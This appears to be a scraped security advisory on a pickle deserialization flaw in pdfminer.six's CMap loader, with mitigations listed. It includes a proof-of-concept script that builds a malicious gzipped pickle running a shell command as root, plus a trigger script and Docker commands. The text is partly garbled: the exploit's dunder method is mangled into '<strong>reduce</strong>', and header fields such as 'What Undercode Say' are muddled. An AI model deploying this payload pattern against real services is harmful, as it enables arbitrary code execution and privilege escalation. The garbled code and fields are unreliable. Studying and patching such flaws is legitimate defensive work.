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The vulnerability in pdfminer.six stems from its CMap loading mechanism in cmapdb.py. The `_load_data` method unsafely deserializes `.pickle.gz` files using pickle.loads(). Pickle is inherently unsafe as it can instantiate arbitrary objects and execute code during deserialization. If an attacker can write a malicious pickle file to a directory within the `CMAP_PATH` search path, any process that subsequently loads that CMap, such as a privileged service parsing a PDF, will deserialize the attacker’s payload. This leads to immediate arbitrary code execution in the context of the application’s user, enabling full privilege escalation from a low-privilege user to root if the service runs with elevated permissions.
Platform: Python
Version: pdfminer.six
Vulnerability : Insecure Deserialization
Severity: Critical
date: 2024
Prediction: 2025-01-31
What Undercode Say:
docker build -t pdfminer-priv-esc-demo . docker run --rm -it --name pdfminer-demo pdfminer-priv-esc-demo
createEvilPickle.py
import pickle
import gzip
class Evil:
def <strong>reduce</strong>(self):
import os
return (os.system, ('touch /root/pwnedByPdfminer',))
payload = pickle.dumps(Evil())
with gzip.open("/tmp/uploads/Evil.pickle.gz", "wb") as f:
f.write(payload)
processPDF.py
from pdfminer.cmapdb import CMapDB
CMapDB.get_cmap("Evil")
How Exploit:
Attacker writes malicious pickle.
Privileged process loads CMap.
Arbitrary code executes.
Protection from this CVE
Remove world-writable directories.
Use signed CMap files.
Replace pickle with JSON.
Apply security patch.
Impact:
Arbitrary Code Execution
Privilege Escalation
Root Access
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
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